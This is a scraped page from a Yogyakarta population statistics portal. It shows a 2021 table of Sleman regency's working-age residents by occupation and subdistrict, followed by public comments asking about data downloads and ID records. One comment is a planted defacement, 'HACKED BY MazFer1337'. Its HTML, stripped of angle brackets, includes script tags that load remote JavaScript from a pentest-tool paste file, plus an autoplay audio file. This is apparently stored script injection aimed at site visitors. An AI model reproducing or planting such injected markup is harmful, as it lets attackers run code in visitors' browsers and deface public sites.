Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

JUMLAH PENDUDUK USIA KERJA KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Jenis Pekerjaan

Silakan Login atau Daftar untuk mengunduh berkas
Kemantren / Kapanewon Bukan Angkatan Kerja Angkatan Kerja
MENGURUS RUMAH TANGGA PELAJAR/MAHASISWA PENSIUNAN BELUM BEKERJA ASN TNI POLRI PEJABAT NEGARA BURUH /TUKANG BERKEAHLIAN KHUSUS SEKTOR PERTANIAN /PETERNAKAN /PERIKANAN KARYAWAN BUMN/BUMD KARYAWAN SWASTA WIRASWASATA TENAGA MEDIS PEKERJAAN LAINNYA TOTAL
L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P L P L+P
GAMPING 0 13.684 13.684 6.449 5.822 12.271 1.343 571 1.914 2.229 2.062 4.291 1.312 1.093 2.405 275 10 285 222 20 242 1 1 2 8.674 3.408 12.082 742 442 1.184 388 137 525 9.943 6.681 16.624 4.612 3.284 7.896 130 344 474 480 189 669 36.800 37.748 74.548
GODEAN 0 10.933 10.933 4.667 4.404 9.071 1.098 482 1.580 1.030 939 1.969 1.013 898 1.911 134 4 138 211 18 229 4 1 5 6.899 2.410 9.309 957 408 1.365 241 97 338 7.053 4.643 11.696 3.957 2.735 6.692 68 221 289 281 132 413 27.613 28.325 55.938
MOYUDAN 0 5.283 5.283 2.046 1.951 3.997 940 470 1.410 574 543 1.117 485 486 971 77 3 80 189 10 199 1 0 1 2.373 789 3.162 1.834 1.042 2.876 89 18 107 3.249 2.367 5.616 1.272 759 2.031 23 116 139 144 40 184 13.296 13.877 27.173
MINGGIR 0 5.094 5.094 1.861 1.767 3.628 751 321 1.072 771 639 1.410 457 450 907 68 0 68 179 7 186 3 0 3 1.731 475 2.206 2.669 1.727 4.396 50 19 69 2.817 2.157 4.974 1.240 670 1.910 27 140 167 137 41 178 12.761 13.507 26.268
SEYEGAN 0 8.922 8.922 3.031 3.092 6.123 688 260 948 999 865 1.864 639 573 1.212 127 3 130 199 9 208 2 0 2 6.435 1.646 8.081 1.652 1.044 2.696 84 27 111 4.174 2.742 6.916 1.733 1.366 3.099 21 117 138 156 39 195 19.940 20.705 40.645
MLATI 0 15.540 15.540 6.802 6.114 12.916 1.490 589 2.079 1.189 1.167 2.356 1.292 1.114 2.406 166 9 175 263 28 291 4 3 7 8.001 2.275 10.276 900 498 1.398 373 167 540 10.657 6.400 17.057 4.502 2.830 7.332 141 360 501 426 139 565 36.206 37.233 73.439
DEPOK 0 19.311 19.311 9.718 8.666 18.384 2.581 1.109 3.690 1.534 1.472 3.006 1.769 1.462 3.231 682 17 699 367 50 417 4 1 5 4.458 1.126 5.584 577 306 883 659 322 981 14.792 9.636 24.428 9.538 5.603 15.141 297 658 955 723 368 1.091 47.699 50.107 97.806
BERBAH 0 8.814 8.814 3.672 3.609 7.281 764 306 1.070 779 702 1.481 692 647 1.339 396 20 416 228 19 247 3 1 4 4.247 1.346 5.593 1.505 772 2.277 122 54 176 6.480 4.329 10.809 2.296 1.629 3.925 31 151 182 160 51 211 21.375 22.450 43.825
PRAMBANAN 0 6.747 6.747 2.625 2.761 5.386 613 208 821 965 874 1.839 485 378 863 171 7 178 139 11 150 1 1 2 6.545 3.505 10.050 2.526 2.770 5.296 75 31 106 4.625 3.053 7.678 1.814 1.279 3.093 14 67 81 156 37 193 20.754 21.729 42.483
KALASAN 0 13.563 13.563 6.318 5.601 11.919 1.422 489 1.911 1.329 1.057 2.386 1.155 952 2.107 327 19 346 322 30 352 4 0 4 5.791 1.385 7.176 2.131 1.260 3.391 299 105 404 9.764 6.596 16.360 3.311 2.233 5.544 66 255 321 275 62 337 32.514 33.607 66.121
NGEMPLAK 0 9.612 9.612 4.463 4.105 8.568 1.188 495 1.683 866 750 1.616 871 748 1.619 221 5 226 281 21 302 2 2 4 2.793 578 3.371 3.029 2.289 5.318 203 98 301 6.647 4.262 10.909 3.352 2.036 5.388 76 244 320 233 68 301 24.225 25.313 49.538
NGAGLIK 0 15.030 15.030 7.489 6.807 14.296 2.016 900 2.916 1.199 1.131 2.330 1.537 1.342 2.879 229 6 235 332 19 351 4 1 5 4.481 1.281 5.762 2.014 1.504 3.518 528 250 778 11.556 7.552 19.108 5.764 3.233 8.997 224 514 738 455 147 602 37.828 39.717 77.545
SLEMAN 0 11.143 11.143 4.731 4.552 9.283 1.059 587 1.646 1.228 1.053 2.281 993 912 1.905 207 8 215 358 39 397 3 3 6 6.851 2.319 9.170 2.192 1.395 3.587 214 125 339 6.425 4.373 10.798 2.535 1.389 3.924 43 212 255 233 90 323 27.072 28.200 55.272
TEMPEL 0 9.195 9.195 3.397 3.246 6.643 672 324 996 929 793 1.722 532 586 1.118 188 4 192 200 18 218 1 0 1 4.963 1.043 6.006 3.349 2.064 5.413 106 40 146 4.404 2.947 7.351 2.240 1.489 3.729 33 155 188 246 68 314 21.260 21.972 43.232
TURI 0 4.594 4.594 2.547 2.325 4.872 495 245 740 713 521 1.234 352 395 747 100 1 101 121 5 126 2 0 2 1.352 321 1.673 4.069 3.262 7.331 55 28 83 3.063 2.300 5.363 1.741 976 2.717 10 65 75 135 32 167 14.755 15.070 29.825
PAKEM 0 6.130 6.130 2.420 2.288 4.708 742 415 1.157 543 467 1.010 454 413 867 81 3 84 104 7 111 2 0 2 1.584 298 1.882 2.480 1.516 3.996 80 40 120 3.917 2.571 6.488 2.179 1.180 3.359 18 128 146 152 66 218 14.756 15.522 30.278
CANGKRINGAN 0 4.071 4.071 1.714 1.672 3.386 388 173 561 446 315 761 275 271 546 59 3 62 126 8 134 1 0 1 1.396 266 1.662 3.636 3.112 6.748 40 20 60 2.476 1.933 4.409 1.498 789 2.287 10 67 77 129 19 148 12.194 12.719 24.913
Jumlah 0 167.666 167.666 73.950 68.782 142.732 18.250 7.944 26.194 17.323 15.350 32.673 14.313 12.720 27.033 3.508 122 3.630 3.841 319 4.160 42 14 56 78.574 24.471 103.045 36.262 25.411 61.673 3.606 1.578 5.184 112.042 74.542 186.584 53.584 33.480 87.064 1.232 3.814 5.046 4.521 1.588 6.109 421.048 437.801 858.849
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY
Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih